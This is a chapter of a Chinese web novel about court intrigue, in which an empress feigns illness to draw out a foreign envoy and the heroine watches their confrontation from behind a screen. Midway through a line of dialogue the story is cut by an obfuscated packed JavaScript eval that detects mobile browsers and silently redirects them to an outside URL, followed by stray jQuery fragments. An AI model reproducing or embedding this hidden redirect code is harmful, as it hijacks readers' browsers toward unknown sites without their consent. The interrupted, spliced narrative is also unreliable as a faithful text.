16. 使者此言差矣

作品:《我把夫君送青楼

    锦书所说的那“缠绵病榻”之人,此时正悠哉悠哉的坐在踏上吃着水果,那人容光焕发,全无一点病容之色。


    “娘娘……你?!”


    可这话在贺清蕴口中酝酿了半天,却是什么也没说出去,最后只凝炼出了几个字:


    “你没事吧?”


    那女子却只是笑笑,见她愣在原地没有反应过来,又是连忙招了招手,示意她过来。


    “蕴儿快过来,尝尝西域进贡的葡萄。”


    贺清蕴愣愣的走了过去,眼前之人哪里是一副生了病的样子,简直可以说是毫不相干。


    这时,锦书也安排侍女来端上了药,可皇后娘娘却只自顾自的拉着贺清蕴的手说话,丝毫没有注意到。


    “怎么样,合不合你胃口?若是合的话,我叫怀瑾多给你带点回去。”


    这葡萄果汁甘甜清润,入口的一瞬间,仿佛所有烦恼都会随之烟消云散。


    “好,好吃……”


    “再尝尝这个。”


    宋皇后一把将她揽入怀中,一个接一个的投喂各式各样的水果,这场景既温馨又有几分诙谐。


    “娘娘……该喝药了。”


    恰在此时,锦书不合时宜的开口打断了二人,也算是拯救了将要被投喂的“窒息”的贺清蕴。


    “对呀,皇后娘娘,该喝药了。”


    可宋皇后却并没有接下药碗,她面上虽闪过一丝不悦,但她却只是依旧盛着一双满是慈爱的眸子,对着贺清蕴说道:“蕴儿,都说了,在私下里你无需这样叫我,叫我干娘就好。”


    “嗯……干娘。”


    贺清蕴糯糯的开口,可是一想到之前锦书的话,还有她不断投喂的身影,她只得慢吞吞的问道:“干娘,该喝药了。”


    “咳咳……“


    此时此刻,她哪有一副一国之母的仪态,反倒是和蔼可亲的很,竟然还有一点孩子气。


    “等会儿再喝吧。”


    可贺清蕴却是一副了然于心的样子,她从怀中拿出了一包蜜饯,笑着递给了她,转而说道:“小的时候我生病不肯喝药,干娘就给我准备了好多蜜饯,如今蕴儿也学会了,倒是派上用场啦。”


    “咳咳……我不是这个意思。”


    “啊?”


    “锦书,退下吧。”


    直到殿内仆人悉数散去,宋皇后才又拉起了贺清蕴的手,将蜜饯送入她的口中,缓缓解释道:“其实啊,我的病早就好了。”


    “啊?!”


    “那刚才……”


    “是我吩咐锦书那么做的。”


    “为什么啊?”


    宋皇后并不急着回答,只是又吃了一口蜜饯,才徐徐回道:“我若不是装病多日,怎会引得那云秦使者坐不住阵脚,今日便来议事了呢?”


    提到那“云秦使者”四个字,贺清蕴不由眉头微皱,前日之事历历在目,可此刻她却如鲠在喉,一时难以开口。


    似是察觉到了她的不对,宋皇后连忙问道:“蕴儿怎么了?不必为我担心。你啊,倒是该好好感谢你贺兰长信,那日若是没有他,可能我今日倒是真要生一场‘病’了。”


    一听到那“贺兰长信”四个字,贺清蕴一时又是陷入了沉思。


    那日她从望月楼西楼所找到的线索……


    “长明云信,定不相负。”


    “请君入瓮,共谋大计。”


    她谁也没有告诉,甚至没有去问贺兰长信,本想着到时交给爹爹,可是最近爹爹忙于政务,一直没有腾出手。


    可如今……要不要告诉皇后娘娘?


    但她还未来得及思考,宋皇后忽的起身,牵起她的手向殿外走去。那里早已备好了车架,仿佛是一早为二人准备似的。


    “蕴儿来的正好,也正是时候,不如与本宫一同去看一件趣事,好不好?”


    轿撵上,贺清蕴一面思索着接下来要面对的事究竟会是什么,一边犹豫着要不要开口。


    但思索之间,车架很快就到了太极宫。


    她随着宋皇后移步进了宫内,隔着一层山水屏风,几道人影若隐若现。


    她们这一行倒很是隐秘,从后门而进,因而也并没有什么人发现她们的踪迹。


    可这交谈之声却并不会因此被掩盖住,宋皇后眼神示意了她一下,只见殿内几道穿着异域服装的身影正款款上前,入耳便是一道不太地道却雄浑有力的声音:


    “景国皇帝圣安。”


    景国?如今南北二国早已合并,这使者不应该称“苍梧国”吗?


    可座上之人却并未发声,这一行使者便这么跪着,中原礼仪本就繁琐,那使者脸上早有不悦之意。


    两班人马就这么僵持着,不知过了多久,殿外传来一道熟悉的声音:


    “臣来迟,还请陛下恕罪。”


    这云秦世子的一番话,反倒是让殿内剑拔弩张的气势微微弱了一点。


    “无妨,赐座。”


    殿内又是传来一道威仪之音,不用想便知道那是谁。


    “时隔十年,本使这脑中也是糊涂了,一时竟忘了,陛下已从当年的苍梧王,一跃而成了一国之主。”


    “伏惟圣朝以‘仁义’治天下,陛下向来心怀宽阔,想必您不会介意这‘一时之失’吧。”


    “南北二国早已合并,看来使者安居云秦多年,倒是忘了当时的情形了。”


    这话从里到外就没有一分是真正致歉的意思,反而是含沙射影,意指这坊间谣言——当今陛下得位不正。


    贺清蕴回眸望去,只见宋皇后亦是与她一般,专注的看着殿内局面。


    此时此刻,她忽的明白了宋皇后的用意。


    所谓装病,一则不过是给那些沉不住气的人发挥空间,二来也可让那坊间“皇后干政”的谣言不攻自破。


    接着,殿内又是徐徐传来那云秦使者的通报之音:“此次前来朝贡,一为献上大礼,二则便是讨论两国邦交之事。”


    对于那质子贺兰长信归国一时,这使者还真是会混淆视听,只谈“邦交”,其余的只字未提。


    使者起身,大手一扬,便见殿外陆陆续续来了几位奴仆,他们搬着沉甸甸的箱子走上前来。


    “本使在云秦国时,便常常听闻贺大人与陛下的‘君臣佳话’,怎的今日如此重要场合却不见了身影?想来阔别数年,本使倒是很想与这故人叙旧。莫不是……发生了什么?”


    这云秦使者倒是并未急着清点物资,只是依旧笔挺着身子,话中虽是寒暄,却步步紧逼,毫无敬意,言语间又是直指坊间谣言其三——后宫前朝勾连,贺丞相与陛下早已离心。


    “使者


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440948|153720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真是说笑了,不过是接待外藩邦交,自有礼仪之臣管辖,贺丞相贵为我朝太傅,又怎可轻易抽身忙于此事?”


    “也是,陛下金口玉言,倒显得臣妇人之心,失了身份。”


    “使者既已明了,便应知晓——既已入了苍梧地界,便应入乡随俗,若是平日有何不明之处,便当去理藩院好好请教。”


    “若是使者想要当场请教,我苍梧子民,自是人人皆可赐教,更是尊师重道,亦好为人师。”


    屏风后,宋皇后轻拂衣袖,款款而出,那身影本就自带威严的架子,如今那道凛冽声音一出,自是震得殿内使者一时难以出言反驳。


    空气便这样凝滞了几秒,许久,那云秦世子才起身说道:


    “不过对于质子一事…”


    “云秦自始至终便只有一位世子,云信作为长子,自是当仁不让。”


    “北方十城,自然也都归世子管辖。”


    “使者此言差矣,有道是‘得道多助,失道寡助’,前些日子宫里混进了刺客,倒是你们云秦质子,不忘多年养育之恩,为本宫生生挡下一剑。如此之情,倒真是让本宫分不清楚,究竟谁才是苍梧人,谁才是云秦人。”


    宋皇后来到上座,与那座上之人仅是对视一眼,便出言反驳道:


    “亦或是……流连青楼瓦舍是真,还是为国捐躯是真?”


    “这十年来,本宫可都是看在眼里。”


    她明明是面带笑意,可凑近看去,那深邃的眼眸之下,却是无波无浪,无端的让人感到威压。


    “本想着此次和谈是小,叙旧为大,特意为使者摆了一桌宴席。可如今看来啊,这殿中,不正式是有一道现成的“菜”么?”


    怕是他这一只“白眼狼王”吧?


    想着想着,贺清蕴不由低头轻笑。


    可这一笑,便又转移了那云秦世子的注意力。他冷然一笑,随后反唇相讥道:


    “看来圣朝还真是民丰开放啊,光是皇后娘娘这位女中豪杰不说,这屏风之后,不正有一位‘女诸葛’么?”


    “怎就不能有了?难不成使者忘了,十年前是谁带兵打仗,连破你云秦数十军营;又是谁以身诱敌,诛杀了你们的老单于?”


    贺清蕴此话一出,原本对她满脸鄙夷的云秦世子,一瞬间便静了下来,心知自己落了下风,却又不肯白白退下,那云秦世子森然一笑,随后徐徐说道:“皇后娘娘自是巾帼不让须眉,而这贺姑娘亦是蕙质兰心,有勇有谋,在下心悦诚服,甘拜下风。”


    “不过于今日邦交一事,在下亦是有事明了二位圣上。。”


    “北方十城,自云秦建国伊始,便在储君管辖之内,亦是云某将来登基之时的不二后盾。此事,绝无回转。”


    “既然如此,那朕也不好勉强挽留。”


    陛下身边的一位侍从上前,不卑不亢的说道:“云秦世子,您请回。”


    那云秦世子愤愤的瞪了座上之人一眼,临走之时,余光还不忘扫过屏风之后的人。


    贺清蕴愣愣站在屏风之后,照那群番邦使者之言,贺兰长信是被抛弃了?


    可为何那日,自己找到的字条又写着他们缔结盟约之言?


    她想也不想,忙的告退了圣上皇后,向贺兰长信的居所跑去。


    到底是怎么一回事?